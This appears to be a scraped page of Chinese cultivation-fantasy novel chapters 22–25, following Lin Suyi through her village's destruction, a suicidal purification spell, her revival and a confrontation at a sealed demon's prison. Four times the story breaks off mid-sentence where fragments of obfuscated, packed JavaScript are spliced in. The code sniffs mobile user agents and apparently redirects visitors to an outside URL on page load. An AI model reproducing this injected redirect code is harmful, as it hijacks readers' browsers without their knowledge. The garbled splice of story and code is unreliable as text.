l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980532|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,照亮整个天池空间! “不!”清微惊恐后退,“你们不能!那是打开裂隙的关键!” “不,它是封印裂隙的钥匙。”素青冷冷道,“母亲当年将源海珠分离出来,就是为了有朝一日,彻底封印魔渊裂隙!” 两人心意相通,同时催动源海珠。蓝光如潮水般涌向十二根白玉柱,柱子上的符文被蓝光冲刷,迅速褪色、崩解。 “住手!”清微疯狂扑来,但被素心虚影挡住。 “师兄,该结束了。”素心轻声道。 蓝光吞没了十二根柱子,吞没了清微,吞没了整个天池。 当光芒散去时,十二根白玉柱已经化为齑粉。清微倒在地上,气息奄奄,身体正在消散——他本就是依靠天池灵气维持的残魂,如今阵法被破,自然无法存在。 天池湖水也发生了变化。原本碧蓝的湖水,现在泛着淡淡的金色,灵气浓度暴涨数倍。 “这才是天池真正的样子。”素青收回长剑,“清微用魔功污染了它千年,如今终于净化了。” 她走到林素衣面前,深深一礼:“多谢你。若不是你带来源海珠,又身怀净尘灵体,我无法完成母亲当年的遗愿。” 林素衣还礼:“前辈客气了。倒是我们该谢谢您救命之恩。” 玄诚子等人也脱困了,围拢过来。云华看着素青,又看看素心虚影,欲言又止。 素心虚影已经淡得几乎看不见:“青儿,以后的事,就交给你了。净尘宗……拜托了。” “母亲放心。”素青郑重道。 虚影最终消散,化为点点蓝光,融入天池湖水。 素青沉默片刻,转向众人:“此地不宜久留。清微虽然死了,但魂殿的阴谋还在继续。我们必须尽快找到万魂噬心大阵的阵眼,阻止他们。” “前辈知道阵眼在哪?”林素衣问。 “清微的残魂里,应该有线索。”素青走到清微消散的地方,从灰烬中捡起一枚黑色玉简,“这是魂殿的传讯玉简,里面记录了部分计划。” 她将神识探入玉简,脸色越来越难看。 “怎么了?”玄诚子问。 素青抬头,眼中满是凝重:“万魂噬心大阵的阵眼……不止一个。一共有三个,呈三角形分布。其中一个……就在青玄门主峰之下。” “什么?!”众人震惊。 “另外两个呢?”林素衣追问。 素青将玉简递给她:“你自己看。” 林素衣接过玉简,神识探入,看到了三个坐标点。 第一个,青玄门主峰。 第二个,净尘天池。 第三个…… 她瞳孔骤缩。 第三个坐标点,标注的是—— “林家村。” 她出生的地方! 23. 故地惊变 林家村。 这个林素衣出生、长大的小山村,如今竟然成了万魂噬心大阵的阵眼之一? 她反复确认玉简中的坐标,没错,就是那个位于青玄山脉边缘,只有五十户人家的小村庄。 “怎么会……”她喃喃道。 “魂殿选择阵眼,通常有三个条件。”素青解释,“第一,地势特殊,能汇聚阴气;第二,有纯净灵体聚集;第三……与目标有深层次因果联系。” 地势?林家村依山傍水,但不算特殊。纯净灵体?都是凡人村民,哪来的灵体?至于因果联系…… 林素衣突然想到那口古井。 井底有净尘宗的遗阵,有源海珠的子珠,还有井中生灵。如果魂殿知道这些,选那里做阵眼就不奇怪了。 “必须回去看看。”她下定决心,“我父母还在村里。” 云华点头:“我陪你去。” 玄诚子却摇头:“现在青玄门全界通缉我们,回去太危险。而且如果那里真是阵眼,魂殿肯定布下了重兵。” “但我不能不管。”林素衣坚持,“那是我的家。” 众人沉默了。 最终,素青开口:“去可以,但要小心。我和你们一起去,玄诚师兄留下来照顾周雨她们。” 计划就这么定了。素青、林素衣、云华三人前往林家村,玄诚子带着周雨和三名执法弟子留在天池,一方面养伤,一方面看守这处净尘宗最后的圣地。 临行前,素青给了林素衣三样东西。 第一件,是一瓶净尘圣水——天池净化后,湖心涌出了一小池圣水,她装了一瓶。 “圣水不仅能疗伤,还能净化邪祟。你随身带着,关键时刻有用。” 第二件,是一枚青色玉佩,刻着净尘宗的莲花印记。 “这是净尘宗内门弟子信物,持此玉佩,可感应同门气息,也能在危急时发出求救信号。” 第三件,是一卷兽皮地图。 “这是净尘宗鼎盛时期的疆域图,上面标注了所有灵泉、秘境、禁地。虽然千年过去,很多地方已变样,但大致位置不会错。” 林素衣郑重收下,行礼道谢。 三人离开天池,向外围走去。出了峡谷,玄诚子启动传送阵,将他们送到距离林家村百里外的一处山坳。 从这里到林家村,御风飞行只需一个时辰。但为免打草惊蛇,他们决定步行。 山林寂静,鸟兽绝迹。 越靠近林家村,林素衣心中的不安越强烈。她能感觉到,空气中弥漫着一股若有若无的阴冷气息,不是魔气,更像是……死气。 “不对劲。”云华停下脚步,“太安静了。” 确实。现在是午后,按理说应该有鸟鸣虫叫,有风吹树叶的声音。但这里一片死寂,连风都停了。 素青抬手,指尖凝聚一点青光,向前弹出。青光飞出百丈,突然炸开,化作无数光点消散。 “有结界。”她沉声道,“而且是高阶的‘死寂结界’,能隔绝一切生机。” 三人对视一眼,都看到对方眼中的凝重。布下这种结界,说明魂殿已经控制了这片区域,且不想让任何人发现异常。 “能破吗?”林素衣问。 “可以,但会惊动布阵者。”素青道,“我们必须悄悄进去。” 她取出一张银色符箓,贴在三人身上:“这是‘破界符’,能让我们在不惊动结界的情况下穿过去,但只有一炷香时间。” 符光闪烁,三人身体变得半透明。他们穿过结界,眼前的景象让林素衣心脏骤停。 林家村……还在。 房屋、街道、古井、老槐树……一切都和她离开时一样。甚至能看到几个村民在街上走动,孩童在玩耍,炊烟袅袅升起。 但仔细看,就会发现异常。 那些村民的动作很僵硬,像木偶一样。孩童的笑容凝固在脸上,眼睛空洞无神。炊烟的颜色是诡异的灰绿色,散发腐臭味。 更可怕的是,整个村子没有声音。所有人都在动,但听不到任何说话声、笑声、脚步声。 就像一个被按了静音的戏台。 “这是……幻象?”云华低声道。 “不,是真实的。”素青脸色铁青,“他们都被炼成了‘活尸’。魂殿用邪术抽走他们的魂魄,但保留了肉身的活性,用来维持阵眼运转。” 活尸!林素衣感到一阵眩晕。那些村民,那些看着她长大的叔叔阿姨,那些和她一起玩耍的小伙伴…… 都死了。 不,比死更惨。他们的魂魄被抽走,肉身成了行尸走肉。 “我父母……”她声音发颤。 “去看看。”素青道,“但要小心。魂殿留下这些活尸,肯定有监控作用。” 三人悄悄潜入村子。林素衣凭着记忆,向自己家摸去。 路上,她看到了很多熟悉的面孔:卖豆腐的王婶,打铁的李叔,教她认字的陈爷爷……他们都变成了活尸,机械地重复着生前的动作。 陈爷爷坐在自家门口,手里拿着一本旧书,眼睛盯着书页,但瞳孔涣散,一页都没翻过。 林素衣鼻子发酸,强忍住眼泪。 终于,她看到了自家院子。 院门虚掩,里面传来劈柴的声音。她透过门缝看去,只见林大山正在院中劈柴,动作僵硬但有力。王氏坐在檐下缝补衣服,针线穿梭,但缝的是一件破得不能再破的旧衣。 他们都成了活尸。 林素衣捂住嘴,眼泪终于落下。 云华轻轻拍了拍她的肩膀,无声安慰。 素青则在观察四周:“阵眼核心应该在古井。这些活尸的魂魄,都被抽去那里做祭品了。” 古井……果然。 “能救他们吗?”林素衣问。 素青沉默片刻:“魂魄被抽走超过七天,就彻底散了。这些活尸……已经救不回来了。” 林素衣闭上眼睛。七天……她离开村子已经三年了。这些村民,恐怕在三年前她刚走时,就已经遭了毒手。 “魂殿……为什么要这么做?”她声音冰冷。 “为了万魂噬心大阵。”素青道,“纯净的凡人魂魄,虽然不如修士魂魄强大,但数量多,且怨气纯粹,是绝佳的祭品。一个村子五十户,至少两百人……这只是其中一处阵眼。” 她顿了顿:“按玉简记载,三个阵眼各需三千魂魄。加起来就是九千。再加上一些修士魂魄,凑够九千九百九十九个,大阵就能启动。” 九千无辜者的性命,只是为了一个邪阵。 林素衣握紧拳头,指甲陷入掌心。 就在这时,院子里的林大山突然停下劈柴的动作,缓缓转头,看向院门方向。 他的眼睛,从空洞变成了幽绿色。 “被发现了!”素青低喝。 整个村子,所有的活尸同时停下动作,齐刷刷看向三人所在的方向! “走!”云华拉住林素衣,向后急退。 但四面八方,活尸已经围了上来。他们动作不快,但数量太多,且完全不怕死,硬生生用身体挡住了去路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980533|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>更麻烦的是,古井方向,升起了一道黑色光柱。光柱中,一个黑袍人缓缓升起,正是骨真人! “果然来了。”骨真人冷笑,“清微那老东西死了,但他的玉简留下了线索。我就知道,你们一定会回来看的。” 他看向林素衣:“小丫头,把你的源海珠交出来,我可以让你父母的魂魄安息。” “你把他们魂魄怎么了?!”林素衣厉声问。 “没怎么,只是暂时收起来了。”骨真人咧嘴,“只要大阵完成,他们的魂魄就会成为万魂幡的一部分,永生永世受我驱使。但如果你配合,我可以把他们放出来,送入轮回。” 他在撒谎。林素衣知道,但听到“送入轮回”四个字,她还是动摇了。 素青按住她的肩膀:“别信他。魂殿从来不会放过到手的魂魄。” “那就别怪我无情了。”骨真人抬手,古井中涌出滚滚黑气,化作无数鬼手,抓向三人。 云华挥剑斩断鬼手,但黑气源源不断。素青也出手,青色剑光如蛟龙翻腾,但鬼手实在太多,斩之不尽。 更可怕的是,那些活尸开始自爆! “砰砰砰!” 一个个活尸炸开,血肉横飞,每一具自爆都会释放出浓郁的怨气,融入黑气中,让鬼手更加强大。 林大山和王氏也向三人走来,身体开始膨胀。 “不!”林素衣尖叫。 但她阻止不了。眼睁睁看着父母的肉身炸开,化作两团血雾,血雾中,两道模糊的魂魄浮现,被黑气吞噬。 “爹!娘!” 林素衣疯了般冲过去,但被云华死死抱住。 “冷静!他们已经死了!” “我要杀了你!”林素衣死死盯着骨真人,眼中蓝光爆闪。 丹田内,源海珠疯狂旋转,净尘灵珠也释放出全部力量。两股力量融合,化作一道蓝色光柱,冲天而起! 光柱中,林素衣的修为开始暴涨。 炼气七层中期、后期、巅峰…… “咔嚓!” 瓶颈破碎,炼气八层! 但这还没完。源海珠的力量太强了,强行将她推到了炼气八层中期,才缓缓停下。 “有点意思。”骨真人眯起眼睛,“但还不够。” 他双手结印,古井中飞出一面黑色小幡——万魂幡的雏形!虽然还未完成,但已散发出恐怖的威压。 小幡一晃,成千上万的冤魂涌出,将三人团团围住。 素青和云华全力抵挡,但冤魂实在太多,她们渐渐不支。 就在此时,林素衣做出了决定。 她取出素青给的净尘圣水,全部倒入口中。 圣水下肚,化作一股暖流,流遍全身。她的身体开始发光,皮肤变得透明,能看到里面蓝色的经脉和丹田处那颗耀眼的源海珠。 “以我之血,唤净尘之灵……” 她念诵起一段古老的咒文。不是净尘真经里的,而是源海珠刚刚传递给她的——净尘宗最高禁术,“净世焚魂”。 此术以施术者的生命为代价,引爆净尘圣水的全部力量,净化一切邪祟。 代价是……施术者魂飞魄散。 “素衣!不要!”云华想阻止,但被冤魂缠住。 素青也急了:“快停下!还有别的办法!” “来不及了。”林素衣微笑,“前辈,谢谢你们。云华师叔,对不起。” 她看向骨真人,眼中满是决绝: “一起死吧。” 蓝色光芒,吞噬了一切。 24. 生死之间 蓝色光芒如海啸般席卷整个林家村。 光芒所过之处,黑气消散,冤魂净化,活尸化为尘埃。古井中涌出的万魂幡雏形剧烈震颤,表面出现裂痕。 骨真人惊恐后退,但光芒太快,瞬间将他吞没。 “不——!” 他的惨叫被光芒淹没。 光芒持续了整整十息。 当光芒散去时,林家村……消失了。 不是被摧毁,而是被彻底净化。所有的房屋、街道、树木,都化为晶莹的粉末,随风飘散。地面变成一片纯净的白色沙地,连一丝邪气都感受不到。 古井处,只剩一个深坑。坑底,一面破损的黑色小幡静静躺着,已经失去了所有灵性。 骨真人……不见了。连灰烬都没留下。 而林素衣,倒在沙地中央,气息全无。 “素衣!”云华冲过去,抱起她。 林素衣的身体轻得像一片羽毛,皮肤透明得能看到骨骼和内脏。她的心跳停止了,呼吸停止了,连魂魄的波动都消失了。 素青也赶过来,伸手探向她的眉心,脸色越来越难看:“魂魄……散了。” “不……不会的……”云华声音发颤,“她喝了净尘圣水,圣水能保住魂魄的!” “但她也用了‘净世焚魂’。”素青苦笑,“那是同归于尽的禁术,圣水也保不住。除非……” “除非什么?” “除非有元婴期以上的大能,在她魂魄彻底消散前,用‘招魂术’将她散落的魂魄碎片重新凝聚。”素青看向四周,“但这里……” 这里除了她们,没有别人。 云华咬牙:“我来!” “你才金丹中期,强行施展招魂术会损耗百年寿元!”素青急道。 “那就损耗!”云华盘坐下来,双手结印,“我欠她一条命。三年前若不是她,我早就死在骨真人手里了。” 她开始念诵招魂咒。每念一个字,她的头发就白一分,脸上皱纹多一道。金丹期修士本有五百寿元,但此刻,她在燃烧生命。 素青知道劝不住,只能在一旁护法。 招魂术持续了半个时辰。 云华的头发全白了,容颜苍老了二十岁,气息也从金丹中期跌落到金丹初期。但她终于完成了法术。 空中,无数蓝色光点开始汇聚。 那是林素衣散落的魂魄碎片。在招魂术的引导下,它们重新凝聚,化作一个模糊的人形。 人形飘到林素衣肉身上方,缓缓下沉,与肉身融合。 林素衣的身体重新有了温度,心跳恢复,呼吸恢复。 但她的眼睛没有睁开。 “怎么回事?”云华虚弱地问。 素青检查后,松了口气:“魂魄回来了,但损伤太重,陷入深度沉眠。什么时候能醒……说不准。” 能活着就好。 两人稍作休息,云华吃了丹药,勉强恢复了些元气,但损耗的寿元回不来了。她看起来像个四五十岁的中年妇人,再不复从前的清冷风华。 “值得吗?”素青问。 “值得。”云华看着林素衣沉睡的脸,“她救了太多人。而且……她是我净尘宗最后的希望。” 两人带着林素衣,离开这片白色沙地,返回天池。 接下来的半个月,林素衣一直沉睡。 素青用天池灵气温养她的肉身,云华每日给她输入灵力滋养经脉。但她的意识始终没有苏醒,像是被困在某个深不见底的梦境里。 玄诚子等人也知道了林家村的事,都沉默了。周雨哭了好几天,她虽然没见过林家村的村民,但能想象那种惨状。 第十七天,素青决定冒险一试。 “她体内有源海珠,或许我们可以用‘神游术’进入她的意识深处,唤醒她。” 神游术是元婴期才能施展的法术,能让自己的神识进入他人识海,但风险极大。若对方识海中有防御或陷阱,可能会反噬施术者。 “我来。”云华道。 “不,我来。”素青按住她,“你寿元损耗太多,神识不稳。我是元婴期,更合适。” 玄诚子也赞同:“素青师妹是净尘血脉,与源海珠共鸣更深,成功率更高。” 计划定了。素青在静室布下重重禁制,盘坐在林素衣对面,双手按在她的太阳穴上。 “我要进去了。你们在外面护法,无论发生什么,都不要打扰。” “明白。” 素青闭上眼睛,神识如丝线般探入林素衣眉心。 起初是一片黑暗。 然后,她看到了光。 那是一片蓝色的海洋——不是真正的海洋,而是由无数记忆碎片构成的意识之海。 素青在其中游走,寻找林素衣的核心意识。 她看到了很多画面:胎中觉醒,婴孩时期,古井生灵,入青玄门,地底大战,源海珠融合…… 最后,她停在了一片特殊的记忆碎片前。 那是一个纯白色的空间,中央,林素衣的魂魄蜷缩成一团,沉睡着。 “素衣。”素青轻声呼唤。 魂魄没有反应。 素青走近,正要触碰,突然,四周涌出无数黑色锁链,将她的神识牢牢锁住! “陷阱?!”素青大惊。 白色空间扭曲,变成了一个巨大的牢笼。牢笼外,一个人影缓缓浮现。 是骨真人! 不,不是完整的骨真人,而是一缕残魂——他死前,将自己的一缕魂魄藏在了林素衣的识海里! “没想到吧?”骨真人残魂狞笑,“净世焚魂能灭我肉身,却灭不了我这缕‘心魔种’。我等的就是这一刻,等有人用神游术进来,好夺舍重生!” 他扑向素青的神识:“元婴期的身体,正好!” 素青想反抗,但锁链是魂殿秘术“缚魂链”,专克神识。她挣扎不开,眼看就要被吞噬…… 就在这时,沉睡的林素衣魂魄,突然睁开了眼睛。 她的眼睛是纯粹的蓝色,如深海,如星空。 “在我的识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980534|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海里……撒野?” 她抬手,轻轻一握。 “咔嚓!” 所有黑色锁链同时崩碎! 骨真人残魂惊恐后退:“不可能!你明明沉睡了!” “我是沉睡了。”林素衣缓缓站起,“但这是我的地盘。” 她每走一步,身上就多一道蓝色符文。当走到骨真人面前时,她全身都刻满了净尘真印的符文。 “你……” “谢谢你。”林素衣微笑,“若不是你把我逼到绝境,我还无法完全融合源海珠。” 她伸手,按在骨真人残魂头顶。 “净。” 蓝光闪过,骨真人残魂连惨叫都来不及,就化为虚无。 做完这些,林素衣看向素青:“前辈,谢谢你来救我。” “你……完全醒了?”素青惊讶。 “醒了。”林素衣点头,“而且,我看到了很多东西。” 源海珠完全融合后,不仅给了她力量,还给了她清微真人和素心师叔的全部记忆。千年前那场大战的真相,净尘宗的兴衰,还有……关于她自己的秘密。 “前辈,我不是普通的孩子。”林素衣轻声道,“我是清微真人用‘转生术’,以净尘宗最后的气运为代价,创造出来的‘净尘道体’。” 素青愣住了。 “他本想等我长大后,用我打开魔渊裂隙。但素心师叔做了手脚,让我胎穿到一个凡人家庭,失去了前世记忆。直到净尘灵珠和源海珠同时认主,我才开始苏醒。” 原来如此。难怪她天赋异禀,难怪净尘灵珠会选中她。 “那你现在……”素青问。 “我还是我。”林素衣微笑,“清微的谋划是清微的事,我是林素衣,林家村的女儿,净尘宗的传人。我要做的,是完成素心师叔的遗愿——重建净尘宗,守护玄灵界。” 她的眼神坚定,再无迷茫。 两人神识回归肉身。 当林素衣睁开眼睛时,守在外面的众人都松了口气。 “你醒了!”云华喜极而泣。 “嗯,醒了。”林素衣坐起身,看向众人,“让大家担心了。” 她看起来没什么变化,但所有人都能感觉到,她不一样了。那种沉稳、那种气度,完全不像一个四岁的孩子。 “接下来怎么办?”玄诚子问。 林素衣下床,走到窗边,看向天池的方向: “魂殿还有两个阵眼。青玄门主峰,和……第三个地方。” 她从源海珠的记忆里,看到了第三个阵眼的确切位置。 那不是林家村——林家村只是幌子,真正的第三个阵眼,在…… “净尘宗遗址,三十六泉眼的‘灵源之眼’。” 她转身,眼中蓝光流转: “那里,藏着万魂噬心大阵的真正秘密。而魂殿的目标,不只是炼化青玄山脉……” 她顿了顿,一字一句道: “他们要打开的,是镇压在灵源之眼下的……上古魔尊封印。” 25. 前路荆棘 林素衣的话如惊雷炸响,室内陷入死寂。 上古魔尊封印?灵源之眼? 就连素青这个净尘宗直系传人,也从未听说过此事。她看向林素衣,声音发紧:“源海珠的记忆里……真的有这些?” 林素衣点头,指尖在空中虚点,蓝色灵力勾勒出一幅复杂的地图。地图中心标注着三十六泉眼的位置,其中最大的“灵源之眼”所在处,有一道深红色的封印标记。 “千年前,净尘宗开山祖师发现灵源之眼时,就察觉到下方镇压着东西。”林素衣缓缓道,“那是一位上古时期被众仙联手封印的魔尊残躯。祖师用三十六泉眼大阵加固封印,借天地灵脉之力,将魔尊死死镇压在万丈地底。” 她顿了顿:“但这个秘密,只有历代掌门知道。清微……是最后一个知情者。” 玄诚子脸色煞白:“所以他找到的‘上古阵图’,其实是……” “是打开封印的方法。”林素衣闭眼,“他以为那是飞升通道,实则是魔尊的陷阱。魔尊残存的意识通过阵图引诱他,想借他之手破封。” 真相残酷得让人窒息。 素青扶住桌子,声音发颤:“魂殿的目标……也是这个?” “是。”林素衣睁开眼,“万魂噬心大阵需要庞大的怨气能量。他们选青玄门主峰、林家村、灵源之眼做阵眼,不只是为了炼化青玄山脉。这三个位置,正好对应封印的三个关键节点。用九千九百九十九个纯净魂魄的怨气冲击节点,就能削弱封印,放出魔尊。” 云华倒吸一口凉气:“放出上古魔尊……他们疯了?魔尊一旦现世,整个玄灵界都会生灵涂炭!” “魂殿本就是魔道。”素青冷冷道,“对他们来说,越乱越好。魔尊出世,正道宗门必遭重创,他们就能趁机崛起。” 林素衣走到窗前,望着天池的方向:“我们必须去灵源之眼。不仅要阻止魂殿,还要加固封印。否则……” 否则魔尊出世,别说净尘宗重建,整个修真界都将陷入浩劫。 众人沉默许久,玄诚子率先开口:“什么时候出发?” “三日后。”林素衣道,“我需要时间稳固修为,熟悉源海珠的新能力。而且……我们要做些准备。” 这三天,青木洞天前所未有的忙碌。 林素衣闭关,全力炼化源海珠传递的海量信息。她不仅看到了净尘宗的历史,还得到了三十六泉眼大阵的完整阵图、净尘宗所有功法的传承、以及清微真人千年来的研究心得。 最珍贵的,是一套名为《净尘心经》的功法。这不是修炼法门,而是心境锤炼之法,讲究“心如止水,映照万物”。修炼到高深处,能洞察人心,看破虚妄,对抵抗魔气侵蚀有奇效。 林素衣将这心经传授给所有人——不只是为了对付魂殿,更是为了预防清微真人可能留下的后手。 素青和玄诚子则在准备物资。净尘天池里找到不少好东西:千年灵草、极品灵石、各种炼器材料,甚至还有几件完好的法宝。 云华负责教导周雨和三名执法弟子。她们修为较低,此行凶险,必须尽快提升实力。云华不惜损耗,用自己的灵力为她们打通经脉,传授净尘宗的基础剑法。 第三天傍晚,林素衣出关。 她的外表没有太大变化,但眼神更加深邃,气质更加沉稳。修为虽还是炼气八层,但灵力的精纯度和控制力,已经接近筑基期。 更重要的是,她丹田内的源海珠和净尘灵珠已经完全融合,化作一颗蓝金色的珠子,散发的气息远超从前。 “准备好了吗?”她问。 众人点头。 素青取出一件飞行法宝——一艘巴掌大的青色小船。她往船身注入灵力,小船迎风便长,化作三丈长短,船身刻满符文,散发着淡淡青光。 “这是净尘宗的‘青莲舟’,速度极快,且有隐匿功能。”她解释,“虽然比不上飞舟,但胜在隐蔽。” 七人登上青莲舟。素青掌舵,灵力催动,青莲舟化作一道青光,悄无声息地飞离青木洞天。 目标:净尘宗遗址,灵源之眼。 青莲舟速度极快,却无声无息。船身符文流转,将飞行产生的灵力波动完全掩盖。素青说,这是清微真人当年炼制的逃命法宝,元婴期以下修士根本无法察觉。 舟上,林素衣盘坐在船头,闭目感应。 源海珠与三十六泉眼大阵同源,即使相隔千里,也能隐约感应到灵源之眼的状态。她能感觉到,那个方向的灵气正在紊乱,隐隐有怨气掺杂其中。 “魂殿已经开始行动了。”她睁开眼睛,“我们要加快速度。” 素青点头,加大灵力输出。青莲舟速度再提三成,几乎化作一道虚影,在夜空中划过。 飞了约三个时辰,前方出现一片连绵山脉。虽然已是深夜,但山脉中隐约可见点点灵光——那是残存的护山大阵碎片,历经千年仍在运转。 “到了。”玄诚子声音沙哑,“净尘宗……山门。” 素青也红了眼眶。这里是她的家,是她出生、成长的地方。千年过去,物是人非,只剩废墟。 青莲舟缓缓降落在一片广场遗址上。广场地面铺着白玉石砖,虽然破碎不堪,但依然能看出当年的恢宏。 林素衣走下船,环顾四周。 断壁残垣中,她“看”到了更多东西——不是肉眼所见,而是源海珠传递的影像。千年前,这里是何等繁华:弟子往来,仙鹤翱翔,灵气如雾,道韵流转…… “灵源之眼在主峰后山。”她指向西北方向,“跟我来。” 众人跟随她穿过废墟。路上,林素衣不断停下,从碎石中捡起一些东西:一枚残破的玉佩,一块刻着符文的瓦片,甚至是一截断裂的剑尖。 每捡起一件,源海珠就轻轻一震,传递来一段记忆碎片。她在用这种方式,重温净尘宗的历史。 走了约半个时辰,前方出现一道深谷。 谷口有禁制残留,虽然千年过去,威力十不存一,但依然散发着危险气息。谷内漆黑一片,深不见底,隐约能听到水流声。 “就在下面。”林素衣道,“灵源之眼在谷底千丈深处。” 素青皱眉:“这禁制……是清微布下的。他生前最后一件事,就是封印这里。” 果然,禁制中掺杂着魔功气息。清微不仅封印了灵源之眼,还用魔气污染了禁制,阻止任何人靠近。 “能破吗?”云华问。 “可以,但要时间。”素青观察禁制,“至少需要三个时辰。” 林素衣摇头:“来不及了。我能感觉到,下面有动静。” 她走到禁制前,双手按在无形的屏障上。净尘灵珠全力运转,蓝金色的光芒从掌心涌出,如水流般渗入禁制。 “清微用魔功污染了禁制核心,但它的根基还是净尘阵法。”她解释道,“我用源海珠的力量反向侵蚀,可以暂时打开一个缺口,但只能维持一刻钟。” 蓝金色光芒在禁制上蔓延,如蛛网般扩散。所过之处,黑色的魔气被净化,禁制出现一个三尺见方的缺口。 “快进去!” 众人鱼贯而入。当最后一人进入后,缺口迅速合拢。 谷内比想象中更暗。地面湿滑,石壁上长满青苔,空气中弥漫着浓重的水汽和……淡淡的血腥味。 林素衣点燃一枚荧光石。蓝白色的光芒照亮前方,能看到地上有拖拽的痕迹,石壁上有新鲜的血迹。 “有人比我们先到了。”她沉声道。 素青拔出长剑:“小心,可能是魂殿的人。” 七人全神戒备,沿着痕迹向谷底前进。越往下,血腥味越浓,空气也越阴冷。 走了约百丈,前方出现光亮。不是荧光石的光,而是血红色的、妖异的光。 林素衣示意众人停下,自己悄悄摸到拐角处,探头看去。 谷底,是一个巨大的天然洞穴。 洞穴中央,有一个直径十丈的水潭,潭水碧蓝,散发浓郁灵气——那就是灵源之眼。但此刻,水潭周围立着九根黑色石柱,每根柱子上都绑着一个人。 不,不是活人。是活尸,和林家村的一样。 九具活尸被黑色锁链捆在柱子上,胸口被挖开,心脏被取出,悬浮在面前。心脏还在跳动,每跳一下,就涌出一股黑血,滴入下方的法阵。 法阵刻在地面上,纹路复杂,中央摆放着一面黑色大幡——万魂幡! 虽然还没完成,但已经散发出令人心悸的怨气。幡面上,隐约能看到无数扭曲的人脸,在痛苦哀嚎。 法阵旁,站着三个人。 一个是黑袍老妪,正是蛇婆。一个是徐长老,他脸色苍白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980535|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼神狂热。还有一个,是林素衣从未见过的中年男子,穿着青玄门的紫色长老袍,气息深不可测——元婴期! “青玄门大长老,天刑真人。”素青传音,声音凝重,“元婴中期,实力不在我之下。他……竟然也是魂殿的人!” 天刑真人,青玄门地位仅次于掌门的存在,执掌刑堂,号称铁面无私。谁也没想到,他会是魂殿的内应! “还差最后一步。”蛇婆沙哑的声音在洞穴中回荡,“再献祭九个金丹期的魂魄,万魂幡就能完成。届时,冲击封印节点,魔尊大人就能破封而出!” 徐长老恭敬道:“九个人选已经准备好了,都是这些年暗中控制的青玄门金丹执事。但……掌门那边会不会察觉?” “察觉又如何?”天刑真人淡淡道,“等魔尊出世,整个青玄门都要俯首称臣。天玄那个老顽固,若是识相,还能留他一命。” 他看向灵源之眼:“清微当年封印这里,自以为天衣无缝。殊不知,魔尊大人早就将破封之法,刻在了他的灵魂深处。他研究千年,其实是在为今日做准备。” 真相残酷得让人发笑。清微以为自己能飞升,其实不过是魔尊手中的棋子。 林素衣握紧拳头。不能让他们完成献祭! 她看向素青和玄诚子,用眼神询问:打还是撤? 素青传音:“他们有三个元婴期,我们只有我一个。硬拼必死无疑。但若撤退,等他们完成献祭,魔尊破封,一切都晚了。” 进退两难。 就在这时,天刑真人突然转头,看向他们藏身的方向: “既然来了,何必藏头露尾?” 被发现了! 林素衣心中一凛。天刑真人的神识,竟然如此敏锐! 蛇婆和徐长老也反应过来,三人同时出手! “逃!”素青当机立断,一剑斩向洞穴顶部,试图制造混乱。 但天刑真人更快。他袖袍一挥,一道紫色雷霆轰向众人藏身处! 雷霆炸开,石壁崩塌,烟尘弥漫。 烟尘中,林素衣看到素青被雷霆击中,吐血倒飞。云华和玄诚子拼命抵挡,但徐长老和蛇婆已经围了上来。 绝境。 就在此时,灵源之眼的水潭,突然沸腾了。 潭水冲起十丈高的水柱,水柱中,一个苍老但威严的声音响起: “谁敢……动我净尘宗传人?!” 水柱顶端,一个模糊的身影缓缓凝聚。 那是一个穿着青色道袍的老者,须发皆白,面容清癯,眼中闪烁着智慧的光芒。 看到这身影,天刑真人脸色大变: “净尘宗开山祖师……清虚真人?!” 清虚真人,净尘宗的开创者,三千年前就飞升上界的存在!他怎么会在这里? 老者虚影看向林素衣,眼中闪过一丝欣慰: “孩子……你终于来了。” 他抬手,指向灵源之眼: “封印……只能再撑三天。” “三天内,若不能加固……魔尊……必出。” 说完,虚影消散,化作点点青光,融入水潭。 洞穴内,陷入诡异的寂静。 所有人都被这突如其来的变故惊呆了。 清虚真人的残魂,竟然一直守护在这里! 林素衣最先反应过来。她看向天刑真人,声音平静: “听到了吗?你们只有三天时间。” “但你们……过不了我这关。” 她体内,源海珠疯狂旋转。蓝金色的光芒从她身上爆发,照亮整个洞穴。 光芒中,她的修为开始暴涨。 炼气八层巅峰……炼气九层……炼气九层巅峰…… “她……她在强行突破筑基!”蛇婆惊恐道。 但林素衣知道,这不是突破。 这是……燃烧生命,换取力量。 用清虚真人留下的最后力量。 